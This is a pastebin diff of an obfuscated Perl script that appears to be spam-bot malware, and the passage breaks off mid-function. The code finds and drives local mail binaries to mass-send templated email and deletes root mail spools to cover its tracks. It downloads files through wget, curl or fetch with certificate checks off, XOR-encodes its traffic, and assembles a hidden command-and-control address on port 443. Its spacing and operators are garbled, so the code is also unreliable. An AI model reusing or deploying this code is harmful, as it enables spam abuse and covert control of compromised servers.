SHOW:
|
|
- or go back to the newest paste.
| 1 | # !/usr/bin / perl | |
| 2 | ||
| 3 | use strict; | |
| 4 | use Socket; | |
| 5 | use CGI; | |
| 6 | srand(time ^ $$ ^ unpack "%L*", `ps axww | gzip`); | |
| 7 | $SIG {
| |
| 8 | PIPE | |
| 9 | } = sub {
| |
| 10 | - | die "Broken pipe" |
| 10 | + | die "Broken pipe" |
| 11 | }; | |
| 12 | $ENV {
| |
| 13 | - | PATH |
| 13 | + | PATH |
| 14 | } = $ENV {
| |
| 15 | - | PATH |
| 15 | + | PATH |
| 16 | }.":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; | |
| 17 | my $b80g = ($ < == 0); | |
| 18 | my $cj65 = ((getpwuid($ >)) [0]); | |
| 19 | my $g6ho = 0; | |
| 20 | $g6ho = length($ARGV[0]) if ($ARGV[0] = ~ /^ + $ /); | |
| 21 | my $hahk = int(rand(2147483647)); | |
| 22 | my ($hamo, $ifib, $alf3); | |
| 23 | my $ipnl = 443; | |
| 24 | my $k0ob = "/b/index.php"; | |
| 25 | my $g1b1 = '/tmp/...'; | |
| 26 | my $c087 = 0; | |
| 27 | my $i5fg = 0; | |
| 28 | my $jb0l = 0; | |
| 29 | my $ke9i = 0; | |
| 30 | my $b8mj = 0; | |
| 31 | my $aj11 = 0; | |
| 32 | my $gbed = 50; | |
| 33 | my $p = "1234567890"; | |
| 34 | my $e2c2; | |
| 35 | my $jap8 = "sendmail"; | |
| 36 | my $epm2; | |
| 37 | my $heel; | |
| 38 | my %bj1c; | |
| 39 | my $g85a = 36; | |
| 40 | $bj1c {
| |
| 41 | - | 'd_v' |
| 41 | + | 'd_v' |
| 42 | } = $g85a; | |
| 43 | $bj1c {
| |
| 44 | - | 'd_w' |
| 44 | + | 'd_w' |
| 45 | } = $cj65; | |
| 46 | $bj1c {
| |
| 47 | - | 'd_rb' |
| 47 | + | 'd_rb' |
| 48 | } = $g6ho; | |
| 49 | $bj1c {
| |
| 50 | - | 'd_pi' |
| 50 | + | 'd_pi' |
| 51 | } = $$; | |
| 52 | $bj1c {
| |
| 53 | - | 'd_iv' |
| 53 | + | 'd_iv' |
| 54 | } = $]; | |
| 55 | sub aan {
| |
| 56 | print '['.localtime().'] '; | |
| 57 | print @_; | |
| 58 | } | |
| 59 | sub aai {
| |
| 60 | return 0 if !open(SIGNFH, ">$g1b1"); | |
| 61 | return 0 if !flock(SIGNFH, 2 | 4); | |
| 62 | return 1; | |
| 63 | } | |
| 64 | sub ab1 {
| |
| 65 | my $b2oc = shift; | |
| 66 | my $bff9 = shift; | |
| 67 | my $c91c = shift; | |
| 68 | my $i3hb = shift; | |
| 69 | my $c9p7 = shift; | |
| 70 | my $he4e = $b2oc - > {
| |
| 71 | - | 'name' |
| 71 | + | 'name' |
| 72 | }; | |
| 73 | my $cbmm = $b2oc - > {
| |
| 74 | - | 'addr' |
| 74 | + | 'addr' |
| 75 | }; | |
| 76 | my $eblf = ab4(4); | |
| 77 | $i3hb = ~s / \[\[firstname \]\] / $he4e / g; | |
| 78 | $i3hb = ~s / \[\[id \]\] / $cbmm / g; | |
| 79 | $i3hb = ~s / \[\[count \]\] / $c9p7 / g; | |
| 80 | $i3hb = ~s / \[\[rand \]\] / $eblf / g; | |
| 81 | $c91c = ~s / \[\[firstname \]\] / $he4e / g; | |
| 82 | $c91c = ~s / \[\[id \]\] / $cbmm / g; | |
| 83 | $c91c = ~s / \[\[count \]\] / $c9p7 / g; | |
| 84 | $c91c = ~s / \[\[rand \]\] / $eblf / g; | |
| 85 | for (my $i = 0; $i < 10; $i++) {
| |
| 86 | - | my $ipj3 = $b2oc - > {
|
| 86 | + | my $ipj3 = $b2oc - > {
|
| 87 | - | 'params' |
| 87 | + | 'params' |
| 88 | - | } -> [$i]; |
| 88 | + | } -> [$i]; |
| 89 | - | $i3hb = ~s / \[\[param$i \]\] / $ipj3 / g; |
| 89 | + | $i3hb = ~s / \[\[param$i \]\] / $ipj3 / g; |
| 90 | - | $c91c = ~s / \[\[param$i \]\] / $ipj3 / g; |
| 90 | + | $c91c = ~s / \[\[param$i \]\] / $ipj3 / g; |
| 91 | } | |
| 92 | my $i1mc = "From: $bff9|To: ".($he4e ? "\"$he4e\" <$cbmm>" : "$cbmm")."|Subject: $c91c"; | |
| 93 | eval {
| |
| 94 | - | open SENDMAIL, |
| 94 | + | open SENDMAIL, |
| 95 | - | "| $jap8 -t"; |
| 95 | + | "| $jap8 -t"; |
| 96 | - | print SENDMAIL "From: $bff9\n"; |
| 96 | + | print SENDMAIL "From: $bff9\n"; |
| 97 | - | print SENDMAIL "To: ".($he4e ? "\"$he4e\" <$cbmm>" : "$cbmm")."\n"; |
| 97 | + | print SENDMAIL "To: ".($he4e ? "\"$he4e\" <$cbmm>" : "$cbmm")."\n"; |
| 98 | - | print SENDMAIL "Subject: $c91c\n"; |
| 98 | + | print SENDMAIL "Subject: $c91c\n"; |
| 99 | - | print SENDMAIL "\n" if ($jap8 = ~ / \ / mail /); |
| 99 | + | print SENDMAIL "\n" if ($jap8 = ~ / \ / mail /); |
| 100 | - | print SENDMAIL "$i3hb"; |
| 100 | + | print SENDMAIL "$i3hb"; |
| 101 | - | close SENDMAIL; |
| 101 | + | close SENDMAIL; |
| 102 | }; | |
| 103 | if ($@) {
| |
| 104 | - | my $cje4 = $@; |
| 104 | + | my $cje4 = $@; |
| 105 | - | chomp $cje4; |
| 105 | + | chomp $cje4; |
| 106 | - | return 0; |
| 106 | + | return 0; |
| 107 | } | |
| 108 | return 1; | |
| 109 | } | |
| 110 | sub aal {
| |
| 111 | my $ed6i = shift; | |
| 112 | my $khnp = shift; | |
| 113 | my @bfgb = @$khnp; | |
| 114 | my $bff9 = shift @bfgb; | |
| 115 | my $c91c = shift @bfgb; | |
| 116 | my $i3hb; | |
| 117 | while (scalar(@bfgb)) {
| |
| 118 | - | my $k8nc = shift @bfgb; |
| 118 | + | my $k8nc = shift @bfgb; |
| 119 | - | if ($k8nc eq $ed6i) {
|
| 119 | + | if ($k8nc eq $ed6i) {
|
| 120 | - | last; |
| 120 | + | last; |
| 121 | } | |
| 122 | - | $i3hb. = $k8nc."\n"; |
| 122 | + | $i3hb. = $k8nc."\n"; |
| 123 | } | |
| 124 | my @g1mb; | |
| 125 | while (scalar(@bfgb)) {
| |
| 126 | - | my $b2oc = {};
|
| 126 | + | my $b2oc = {};
|
| 127 | - | my $k8nc = shift @bfgb; |
| 127 | + | my $k8nc = shift @bfgb; |
| 128 | - | my($h4pj, $j63f, @f9hl) = split / \t /, $k8nc; |
| 128 | + | my($h4pj, $j63f, @f9hl) = split / \t /, $k8nc; |
| 129 | - | if (!$j63f) {
|
| 129 | + | if (!$j63f) {
|
| 130 | - | $j63f = $h4pj; |
| 130 | + | $j63f = $h4pj; |
| 131 | - | $h4pj = undef; |
| 131 | + | $h4pj = undef; |
| 132 | } | |
| 133 | - | $b2oc - > {
|
| 133 | + | $b2oc - > {
|
| 134 | - | 'addr' |
| 134 | + | 'addr' |
| 135 | - | } = $j63f; |
| 135 | + | } = $j63f; |
| 136 | - | $b2oc - > {
|
| 136 | + | $b2oc - > {
|
| 137 | - | 'name' |
| 137 | + | 'name' |
| 138 | - | } = $h4pj if $h4pj; |
| 138 | + | } = $h4pj if $h4pj; |
| 139 | - | $b2oc - > {
|
| 139 | + | $b2oc - > {
|
| 140 | - | 'params' |
| 140 | + | 'params' |
| 141 | - | } = \@f9hl if (scalar(@f9hl)); |
| 141 | + | } = \@f9hl if (scalar(@f9hl)); |
| 142 | - | push @g1mb, $b2oc if ($b2oc - > {
|
| 142 | + | push @g1mb, $b2oc if ($b2oc - > {
|
| 143 | - | 'addr' |
| 143 | + | 'addr' |
| 144 | - | }); |
| 144 | + | }); |
| 145 | } | |
| 146 | for (my $i = 0; $i < scalar(@g1mb);) {
| |
| 147 | - | if (ab1($g1mb[$i], $bff9, $c91c, $i3hb, $i)) {
|
| 147 | + | if (ab1($g1mb[$i], $bff9, $c91c, $i3hb, $i)) {
|
| 148 | - | $jb0l++; |
| 148 | + | $jb0l++; |
| 149 | - | $ke9i++; |
| 149 | + | $ke9i++; |
| 150 | - | } else {
|
| 150 | + | } else {
|
| 151 | - | $b8mj++; |
| 151 | + | $b8mj++; |
| 152 | - | $aj11++; |
| 152 | + | $aj11++; |
| 153 | } | |
| 154 | - | $i++; |
| 154 | + | $i++; |
| 155 | } | |
| 156 | if ($b80g) {
| |
| 157 | - | `rm - f / var / mail / root / var / spool / mail / root / var / mail / mail / var / spool / mail / mail`; |
| 157 | + | `rm - f / var / mail / root / var / spool / mail / root / var / mail / mail / var / spool / mail / mail`; |
| 158 | } | |
| 159 | - | `rm - f ~ / dead.letter`; |
| 159 | + | `rm - f ~ / dead.letter`; |
| 160 | } | |
| 161 | - | sub aaf {
|
| 161 | + | sub aaf {
|
| 162 | - | my $k2fk = sprintf($heel." | grep -ci '<html'", "https://accounts.google.com/ServiceLogin?service=mail"); |
| 162 | + | my $k2fk = sprintf($heel." | grep -ci '<html'", "https://accounts.google.com/ServiceLogin?service=mail"); |
| 163 | - | my($fn0i) = `$k2fk`; |
| 163 | + | my($fn0i) = `$k2fk`; |
| 164 | - | chomp $fn0i; |
| 164 | + | chomp $fn0i; |
| 165 | - | return $fn0i; |
| 165 | + | return $fn0i; |
| 166 | } | |
| 167 | - | sub ab9 {
|
| 167 | + | sub ab9 {
|
| 168 | - | if ($epm2 eq "wget") {
|
| 168 | + | if ($epm2 eq "wget") {
|
| 169 | - | my($clp5) = `wget - - version | head - n1 | grep - o "\\.[0-9]*" | grep - o "[0-9]*\$" `; |
| 169 | + | my($clp5) = `wget - - version | head - n1 | grep - o "\\.[0-9]*" | grep - o "[0-9]*\$" `; |
| 170 | - | chomp $clp5; |
| 170 | + | chomp $clp5; |
| 171 | - | $clp5 = int($clp5); |
| 171 | + | $clp5 = int($clp5); |
| 172 | - | $heel = "wget -q -O - -t 1 -T 60 "; |
| 172 | + | $heel = "wget -q -O - -t 1 -T 60 "; |
| 173 | - | $heel. = "--no-check-certificate " if ($clp5 > 9); |
| 173 | + | $heel. = "--no-check-certificate " if ($clp5 > 9); |
| 174 | - | $heel. = '"%s"'; |
| 174 | + | $heel. = '"%s"'; |
| 175 | } | |
| 176 | - | elsif($epm2 eq "curl") {
|
| 176 | + | elsif($epm2 eq "curl") {
|
| 177 | - | $heel = 'curl -s -k --max-time 60 "%s"'; |
| 177 | + | $heel = 'curl -s -k --max-time 60 "%s"'; |
| 178 | } | |
| 179 | - | elsif($epm2 eq "fetch") {
|
| 179 | + | elsif($epm2 eq "fetch") {
|
| 180 | - | $heel = 'fetch -T 60 -q -o - "%s"'; |
| 180 | + | $heel = 'fetch -T 60 -q -o - "%s"'; |
| 181 | } | |
| 182 | } | |
| 183 | - | sub ab2 {
|
| 183 | + | sub ab2 {
|
| 184 | - | my @ae1n = ('wget', 'curl', 'fetch');
|
| 184 | + | my @ae1n = ('wget', 'curl', 'fetch');
|
| 185 | - | undef $epm2; |
| 185 | + | undef $epm2; |
| 186 | - | foreach my $i6ff(@ae1n) {
|
| 186 | + | foreach my $i6ff(@ae1n) {
|
| 187 | - | if ($e2c2) {
|
| 187 | + | if ($e2c2) {
|
| 188 | - | my $gd49 = `which $i6ff`; |
| 188 | + | my $gd49 = `which $i6ff`; |
| 189 | - | next if ($gd49 !~ /^ \ //); } |
| 189 | + | next if ($gd49 !~ /^ \ //); } |
| 190 | - | $epm2 = $i6ff; |
| 190 | + | $epm2 = $i6ff; |
| 191 | - | ab9(); |
| 191 | + | ab9(); |
| 192 | - | if (!aaf()) {
|
| 192 | + | if (!aaf()) {
|
| 193 | - | undef $epm2; |
| 193 | + | undef $epm2; |
| 194 | - | next; |
| 194 | + | next; |
| 195 | } | |
| 196 | - | last; |
| 196 | + | last; |
| 197 | } | |
| 198 | - | if (!$epm2) {
|
| 198 | + | if (!$epm2) {
|
| 199 | - | $epm2 = "wget"; |
| 199 | + | $epm2 = "wget"; |
| 200 | - | ab9(); |
| 200 | + | ab9(); |
| 201 | } | |
| 202 | $bj1c {
| |
| 203 | - | 'd_br' |
| 203 | + | 'd_br' |
| 204 | - | } = $epm2; |
| 204 | + | } = $epm2; |
| 205 | } | |
| 206 | - | my $d5gb = 0; |
| 206 | + | my $d5gb = 0; |
| 207 | - | sub ab7 {
|
| 207 | + | sub ab7 {
|
| 208 | - | return if (time() - $d5gb < 3600); |
| 208 | + | return if (time() - $d5gb < 3600); |
| 209 | - | $d5gb = time(); |
| 209 | + | $d5gb = time(); |
| 210 | - | $e2c2 = `which which | grep - v alias | sed - e 's/^[[:space:]]*//' `; |
| 210 | + | $e2c2 = `which which | grep - v alias | sed - e 's/^[[:space:]]*//' `; |
| 211 | - | ab2(); |
| 211 | + | ab2(); |
| 212 | - | ab3(); |
| 212 | + | ab3(); |
| 213 | - | aad() if ($b80g); |
| 213 | + | aad() if ($b80g); |
| 214 | - | my $bgen = `ps - xo command | grep - v grep | grep postfix / master | wc - l | sed - e 's/^[[:space:]]*//' `; |
| 214 | + | my $bgen = `ps - xo command | grep - v grep | grep postfix / master | wc - l | sed - e 's/^[[:space:]]*//' `; |
| 215 | - | chomp $bgen; |
| 215 | + | chomp $bgen; |
| 216 | - | if ($bgen) {
|
| 216 | + | if ($bgen) {
|
| 217 | $bj1c {
| |
| 218 | - | 'd_ma' |
| 218 | + | 'd_ma' |
| 219 | - | } = 'postfix'; |
| 219 | + | } = 'postfix'; |
| 220 | - | if ($e2c2) {
|
| 220 | + | if ($e2c2) {
|
| 221 | - | $bgen = `which sendmail.postfix`; |
| 221 | + | $bgen = `which sendmail.postfix`; |
| 222 | - | chomp $bgen; |
| 222 | + | chomp $bgen; |
| 223 | - | $jap8 = $bgen |
| 223 | + | $jap8 = $bgen |
| 224 | - | if ($bgen = ~ /^ \ /. * ab1.postfix$ /); |
| 224 | + | if ($bgen = ~ /^ \ /. * ab1.postfix$ /); |
| 225 | } | |
| 226 | - | } else {
|
| 226 | + | } else {
|
| 227 | $bj1c {
| |
| 228 | - | 'd_ma' |
| 228 | + | 'd_ma' |
| 229 | - | } = 'sendmail'; |
| 229 | + | } = 'sendmail'; |
| 230 | } | |
| 231 | $bj1c {
| |
| 232 | - | 'd_mc' |
| 232 | + | 'd_mc' |
| 233 | - | } = $jap8; |
| 233 | + | } = $jap8; |
| 234 | } | |
| 235 | - | sub aad {
|
| 235 | + | sub aad {
|
| 236 | - | my @ihm0 = ("postfix", "sendmail");
|
| 236 | + | my @ihm0 = ("postfix", "sendmail");
|
| 237 | - | foreach my $el22(@ihm0) {
|
| 237 | + | foreach my $el22(@ihm0) {
|
| 238 | - | my $fmdg = `service $el22 status`; |
| 238 | + | my $fmdg = `service $el22 status`; |
| 239 | - | chomp $fmdg; |
| 239 | + | chomp $fmdg; |
| 240 | - | if ($fmdg = ~ / running / i) {
|
| 240 | + | if ($fmdg = ~ / running / i) {
|
| 241 | - | return $el22; |
| 241 | + | return $el22; |
| 242 | } | |
| 243 | } | |
| 244 | - | foreach my $el22 (@ihm0) {
|
| 244 | + | foreach my $el22 (@ihm0) {
|
| 245 | - | my $g8p4 = `service $el22 start`; |
| 245 | + | my $g8p4 = `service $el22 start`; |
| 246 | - | chomp $g8p4; |
| 246 | + | chomp $g8p4; |
| 247 | - | if ($g8p4 = ~ / done / i || $g8p4 = ~ / ok / i) {
|
| 247 | + | if ($g8p4 = ~ / done / i || $g8p4 = ~ / ok / i) {
|
| 248 | - | return $el22; |
| 248 | + | return $el22; |
| 249 | } | |
| 250 | } | |
| 251 | - | return undef; |
| 251 | + | return undef; |
| 252 | } | |
| 253 | - | sub ab3 {
|
| 253 | + | sub ab3 {
|
| 254 | - | my @gj36 = ('sendmail', 'mailx', 'mail');
|
| 254 | + | my @gj36 = ('sendmail', 'mailx', 'mail');
|
| 255 | - | my @g3d3 = ('/etc/', 'cron', '.cpan', '/lib', 'log.d', '/services/', '/cgi-bin/', 'mail-lock', 'mail-unlock', 'mail-touchlock', 'formail', 'traptoemail', 'run-mailcap', 'checksendmail', 'w3mmail.cgi');
|
| 255 | + | my @g3d3 = ('/etc/', 'cron', '.cpan', '/lib', 'log.d', '/services/', '/cgi-bin/', 'mail-lock', 'mail-unlock', 'mail-touchlock', 'formail', 'traptoemail', 'run-mailcap', 'checksendmail', 'w3mmail.cgi');
|
| 256 | - | my $j6ll; |
| 256 | + | my $j6ll; |
| 257 | - | foreach my $gdhm(@gj36) {
|
| 257 | + | foreach my $gdhm(@gj36) {
|
| 258 | - | if ($e2c2) {
|
| 258 | + | if ($e2c2) {
|
| 259 | - | my $df52 = `which $gdhm`; |
| 259 | + | my $df52 = `which $gdhm`; |
| 260 | - | chomp $df52; |
| 260 | + | chomp $df52; |
| 261 | - | if ($df52 = ~ /^ (\ / [^] +) /) {
|
| 261 | + | if ($df52 = ~ /^ (\ / [^] +) /) {
|
| 262 | - | $jap8 = $1; |
| 262 | + | $jap8 = $1; |
| 263 | return 1; | |
| 264 | } | |
| 265 | } | |
| 266 | - | $j6ll = "locate $gdhm | head -n1000"; |
| 266 | + | $j6ll = "locate $gdhm | head -n1000"; |
| 267 | - | my @jmjh = split / \n /, `$j6ll`; |
| 267 | + | my @jmjh = split / \n /, `$j6ll`; |
| 268 | - | $j6ll = "find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $gdhm "; |
| 268 | + | $j6ll = "find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $gdhm "; |
| 269 | - | push @jmjh, split / \n /, `$j6ll`; |
| 269 | + | push @jmjh, split / \n /, `$j6ll`; |
| 270 | - | chomp @jmjh; |
| 270 | + | chomp @jmjh; |
| 271 | - | my @e052; |
| 271 | + | my @e052; |
| 272 | - | foreach my $cf09 (@jmjh) {
|
| 272 | + | foreach my $cf09 (@jmjh) {
|
| 273 | - | next if ( - d $cf09); |
| 273 | + | next if ( - d $cf09); |
| 274 | - | next if (! - x $cf09); |
| 274 | + | next if (! - x $cf09); |
| 275 | - | next if ($cf09 = ~ / \.so$ /); |
| 275 | + | next if ($cf09 = ~ / \.so$ /); |
| 276 | - | my $jdlk = 0; |
| 276 | + | my $jdlk = 0; |
| 277 | - | foreach my $eob4 (@g3d3) {
|
| 277 | + | foreach my $eob4 (@g3d3) {
|
| 278 | - | if ($cf09 = ~ / $eob4 /) {
|
| 278 | + | if ($cf09 = ~ / $eob4 /) {
|
| 279 | - | $jdlk = 1; |
| 279 | + | $jdlk = 1; |
| 280 | - | last; |
| 280 | + | last; |
| 281 | } | |
| 282 | } | |
| 283 | - | next if $jdlk; |
| 283 | + | next if $jdlk; |
| 284 | - | if ($cf09 = ~ / bin \ // && $cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } push (@e052,$cf09); } foreach my $cf09 (@e052) { if ($cf09 =~ /bin\//) { $jap8 = $cf09; return 1; } } foreach my $cf09 (@e052) { if ($cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } } } return 0; } sub aac { my $k8nc = shift; my $geaj = shift;
|
| 284 | + | if ($cf09 = ~ / bin \ // && $cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } push (@e052,$cf09); } foreach my $cf09 (@e052) { if ($cf09 =~ /bin\//) { $jap8 = $cf09; return 1; } } foreach my $cf09 (@e052) { if ($cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } } } return 0; } sub aac { my $k8nc = shift; my $geaj = shift;
|
| 285 | - | if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
|
| 285 | + | if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
|
| 286 | - | $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4); |
| 286 | + | $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4); |
| 287 | - | } else {
|
| 287 | + | } else {
|
| 288 | - | $geaj = int($geaj); |
| 288 | + | $geaj = int($geaj); |
| 289 | } | |
| 290 | - | my @ipha; |
| 290 | + | my @ipha; |
| 291 | - | $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256; |
| 291 | + | $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256; |
| 292 | - | $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256; |
| 292 | + | $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256; |
| 293 | - | $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256; |
| 293 | + | $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256; |
| 294 | - | $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256; |
| 294 | + | $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256; |
| 295 | - | my $ioi2; |
| 295 | + | my $ioi2; |
| 296 | - | for (my $i = 0; $i < length($k8nc); |
| 296 | + | for (my $i = 0; $i < length($k8nc); |
| 297 | - | $i++) {
|
| 297 | + | $i++) {
|
| 298 | - | my $hec1 = ord(substr ($k8nc, $i, 1)); |
| 298 | + | my $hec1 = ord(substr ($k8nc, $i, 1)); |
| 299 | - | my $d = int($hec1 ^ $ipha[$i%4]); |
| 299 | + | my $d = int($hec1 ^ $ipha[$i%4]); |
| 300 | - | $ioi2. = sprintf("%02x", $d);
|
| 300 | + | $ioi2. = sprintf("%02x", $d);
|
| 301 | - | $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $d) %256; |
| 301 | + | $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $d) %256; |
| 302 | } | |
| 303 | - | return $ioi2; |
| 303 | + | return $ioi2; |
| 304 | } | |
| 305 | - | sub aah {
|
| 305 | + | sub aah {
|
| 306 | - | my $k8nc = shift; |
| 306 | + | my $k8nc = shift; |
| 307 | - | my $geaj = shift; |
| 307 | + | my $geaj = shift; |
| 308 | - | if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
|
| 308 | + | if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
|
| 309 | - | $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4); |
| 309 | + | $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4); |
| 310 | - | } else {
|
| 310 | + | } else {
|
| 311 | - | $geaj = int($geaj); |
| 311 | + | $geaj = int($geaj); |
| 312 | } | |
| 313 | - | my @ipha; |
| 313 | + | my @ipha; |
| 314 | - | $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256; |
| 314 | + | $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256; |
| 315 | - | $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256; |
| 315 | + | $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256; |
| 316 | - | $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256; |
| 316 | + | $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256; |
| 317 | - | $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256; |
| 317 | + | $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256; |
| 318 | - | my $ioi2; |
| 318 | + | my $ioi2; |
| 319 | - | for (my $i = 0; $i < length($k8nc) / 2; |
| 319 | + | for (my $i = 0; $i < length($k8nc) / 2; |
| 320 | - | $i++) {
|
| 320 | + | $i++) {
|
| 321 | - | my $hec1 = hex(substr ($k8nc, $i * 2, 2)); |
| 321 | + | my $hec1 = hex(substr ($k8nc, $i * 2, 2)); |
| 322 | - | $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $hec1) %256; |
| 322 | + | $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $hec1) %256; |
| 323 | - | $ioi2. = chr($hec1 ^ $ipha[$i%4]); |
| 323 | + | $ioi2. = chr($hec1 ^ $ipha[$i%4]); |
| 324 | } | |
| 325 | - | return $ioi2; |
| 325 | + | return $ioi2; |
| 326 | } | |
| 327 | - | sub ab4 {
|
| 327 | + | sub ab4 {
|
| 328 | - | my $jh9k = shift; |
| 328 | + | my $jh9k = shift; |
| 329 | - | my @gfe3 = ('a'..'z');
|
| 329 | + | my @gfe3 = ('a'..'z');
|
| 330 | - | my $fpmd; |
| 330 | + | my $fpmd; |
| 331 | - | foreach(1.. $jh9k) {
|
| 331 | + | foreach(1.. $jh9k) {
|
| 332 | - | $fpmd. = $gfe3[rand @gfe3]; |
| 332 | + | $fpmd. = $gfe3[rand @gfe3]; |
| 333 | } | |
| 334 | - | return $fpmd; |
| 334 | + | return $fpmd; |
| 335 | } | |
| 336 | - | sub aak {
|
| 336 | + | sub aak {
|
| 337 | - | my $a = shift; |
| 337 | + | my $a = shift; |
| 338 | - | my $ioi2 = 0; |
| 338 | + | my $ioi2 = 0; |
| 339 | - | $ioi2 += (ord(substr($a, 3, 1)) & 0 xFF); |
| 339 | + | $ioi2 += (ord(substr($a, 3, 1)) & 0 xFF); |
| 340 | - | $ioi2 += (ord(substr($a, 2, 1)) & 0 xFF) << 8; |
| 340 | + | $ioi2 += (ord(substr($a, 2, 1)) & 0 xFF) << 8; |
| 341 | - | $ioi2 += (ord(substr($a, 1, 1)) & 0 xFF) << 16; |
| 341 | + | $ioi2 += (ord(substr($a, 1, 1)) & 0 xFF) << 16; |
| 342 | - | $ioi2 += (ord(substr($a, 0, 1)) & 0 xFF) << 24; |
| 342 | + | $ioi2 += (ord(substr($a, 0, 1)) & 0 xFF) << 24; |
| 343 | - | return $ioi2; |
| 343 | + | return $ioi2; |
| 344 | } | |
| 345 | - | sub aba {
|
| 345 | + | sub aba {
|
| 346 | - | my $hamo = shift; |
| 346 | + | my $hamo = shift; |
| 347 | - | my $jel7 = inet_aton($hamo); |
| 347 | + | my $jel7 = inet_aton($hamo); |
| 348 | - | return(defined $jel7) ? inet_ntoa($jel7) : undef; |
| 348 | + | return(defined $jel7) ? inet_ntoa($jel7) : undef; |
| 349 | } | |
| 350 | - | sub ab8 {
|
| 350 | + | sub ab8 {
|
| 351 | - | my $g6hd = shift; |
| 351 | + | my $g6hd = shift; |
| 352 | - | my $i6ff = sprintf($heel, $g6hd); |
| 352 | + | my $i6ff = sprintf($heel, $g6hd); |
| 353 | - | my @ioi2 = `$i6ff`; |
| 353 | + | my @ioi2 = `$i6ff`; |
| 354 | - | chomp @ioi2; |
| 354 | + | chomp @ioi2; |
| 355 | - | return @ioi2; |
| 355 | + | return @ioi2; |
| 356 | } | |
| 357 | - | sub aag {
|
| 357 | + | sub aag {
|
| 358 | - | my $g6hd = shift; |
| 358 | + | my $g6hd = shift; |
| 359 | - | my $b6o8 = shift; |
| 359 | + | my $b6o8 = shift; |
| 360 | - | if ($epm2 eq "wget") {
|
| 360 | + | if ($epm2 eq "wget") {
|
| 361 | - | `wget - q "$g6hd" - O "$b6o8" `; |
| 361 | + | `wget - q "$g6hd" - O "$b6o8" `; |
| 362 | } | |
| 363 | - | elsif($epm2 eq "curl") {
|
| 363 | + | elsif($epm2 eq "curl") {
|
| 364 | - | `curl "$g6hd" > "$b6o8" `; |
| 364 | + | `curl "$g6hd" > "$b6o8" `; |
| 365 | } | |
| 366 | - | elsif($epm2 eq "fetch") {
|
| 366 | + | elsif($epm2 eq "fetch") {
|
| 367 | - | `fetch - o "$b6o8" "$g6hd" `; |
| 367 | + | `fetch - o "$b6o8" "$g6hd" `; |
| 368 | } | |
| 369 | } | |
| 370 | - | my $cben = 0; |
| 370 | + | my $cben = 0; |
| 371 | - | my $bidj = 0; |
| 371 | + | my $bidj = 0; |
| 372 | - | my $h843; |
| 372 | + | my $h843; |
| 373 | - | my @g07h = (); |
| 373 | + | my @g07h = (); |
| 374 | - | sub ab6 {
|
| 374 | + | sub ab6 {
|
| 375 | - | my $ifib = $ipnl; |
| 375 | + | my $ifib = $ipnl; |
| 376 | - | undef $h843; |
| 376 | + | undef $h843; |
| 377 | - | return($h843, $ifib) if (aap($g07h[$cben], $ifib)); |
| 377 | + | return($h843, $ifib) if (aap($g07h[$cben], $ifib)); |
| 378 | - | my $b7ha = $cben; |
| 378 | + | my $b7ha = $cben; |
| 379 | - | for ($cben = 0; $cben < 10; $cben++) {
|
| 379 | + | for ($cben = 0; $cben < 10; $cben++) {
|
| 380 | - | if ($cben == 4) {
|
| 380 | + | if ($cben == 4) {
|
| 381 | - | my @p = split '', |
| 381 | + | my @p = split '', |
| 382 | - | $p; |
| 382 | + | $p; |
| 383 | - | my $h39c = $p[6]; |
| 383 | + | my $h39c = $p[6]; |
| 384 | - | $h39c = "$h39c$h39c.6$h39c."; |
| 384 | + | $h39c = "$h39c$h39c.6$h39c."; |
| 385 | - | $h39c. = $p[7].$p[9]; |
| 385 | + | $h39c. = $p[7].$p[9]; |
| 386 | - | $h39c. = '.'.$p[2].$p[0]; |
| 386 | + | $h39c. = '.'.$p[2].$p[0]; |
| 387 | - | return($h39c, $ifib) if (aae($h39c, $ifib)); |
| 387 | + | return($h39c, $ifib) if (aae($h39c, $ifib)); |
| 388 | } | |
| 389 | - | if ($cben == 5) {
|
| 389 | + | if ($cben == 5) {
|
| 390 | - | my @p = split '', |
| 390 | + | my @p = split '', |
| 391 | - | $p; |
| 391 | + | $p; |
| 392 | - | my $h39c = $p[7].$p[4]; |
| 392 | + | my $h39c = $p[7].$p[4]; |
| 393 | - | $h39c. = '.'.$p[1].$p[0].$p[3]; |
